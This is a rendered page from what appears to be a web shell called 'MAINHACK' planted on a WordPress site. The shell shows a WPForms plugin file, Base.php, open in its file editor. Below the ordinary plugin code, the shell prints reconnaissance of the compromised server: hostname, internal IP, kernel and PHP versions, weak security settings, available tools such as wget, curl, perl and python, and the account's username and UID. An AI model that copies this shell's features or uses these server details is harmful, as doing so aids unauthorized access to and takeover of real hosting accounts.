[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Base.php
<?php namespace WPForms\Integrations\AI\Admin\Ajax; use WPForms\Integrations\AI\API\API; /** * Base class. * * @since 1.9.1 */ abstract class Base { /** * API instance. * * @since 1.9.1 * * @var API */ protected $api; /** * Initialize. * * @since 1.9.1 */ public function init() { $this->api = new API(); $this->api->init(); $this->hooks(); } /** * Register hooks. * * @since 1.9.1 */ private function hooks(): void { add_action( 'wp_ajax_wpforms_rate_ai_response', [ $this, 'rate_response' ] ); } /** * Rate choices response. * * @since 1.9.1 */ public function rate_response(): void { if ( ! $this->validate_nonce() ) { wp_send_json_error(); } $helpful = $this->get_post_data( 'helpful', 'bool' ); $response_id = $this->get_post_data( 'response_id' ); $response = $this->api->rate( $helpful, $response_id ); wp_send_json_success( $response ); } /** * Validate nonce. * * @since 1.9.1 * * @return bool|int */ protected function validate_nonce() { return check_ajax_referer( 'wpforms-ai-nonce', 'nonce', false ); } /** * Get the post's data by key. * * @since 1.9.1 * * @param string $key Key to get data for. * @param string $type Type of data to get. * * @return mixed */ protected function get_post_data( string $key, string $type = 'text' ) { switch ( $type ) { case 'int': $value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_NUMBER_INT ) ?? 0; break; case 'array': $value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_FULL_SPECIAL_CHARS, FILTER_REQUIRE_ARRAY ) ?? []; break; case 'bool': $value = filter_input( INPUT_POST, $key, FILTER_VALIDATE_BOOLEAN ) ?? false; break; case 'json': $value = json_decode( filter_input( INPUT_POST, $key ), true ); break; default: // We should use this alternative to FILTER_SANITIZE_FULL_SPECIAL_CHARS filter, // because htmlspecialchars() function does double encoding of special characters, // which is necessary to properly handle the encoded HTML in chat questions. $value = htmlspecialchars( filter_input( INPUT_POST, $key ) ?? '' ); break; } return $value; } /** * Determine whether a given prompt is empty. * * It must contain a minimum of one character. * * @since 1.9.1 * * @param string $prompt The prompt to check. * * @return bool True if the prompt is empty. */ protected function is_empty_prompt( string $prompt ): bool { $special_chars = [ '@', '!', '#', '$', '%', '^', '&', '*', '(', ')', '-', '+', '=', '{', '}', '[', ']', '|', '\\', ':', ';', '"', "'", '<', '>', ',', '.', '?', '/' ]; $prompt = str_replace( $special_chars, '', $prompt ); return empty( $prompt ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697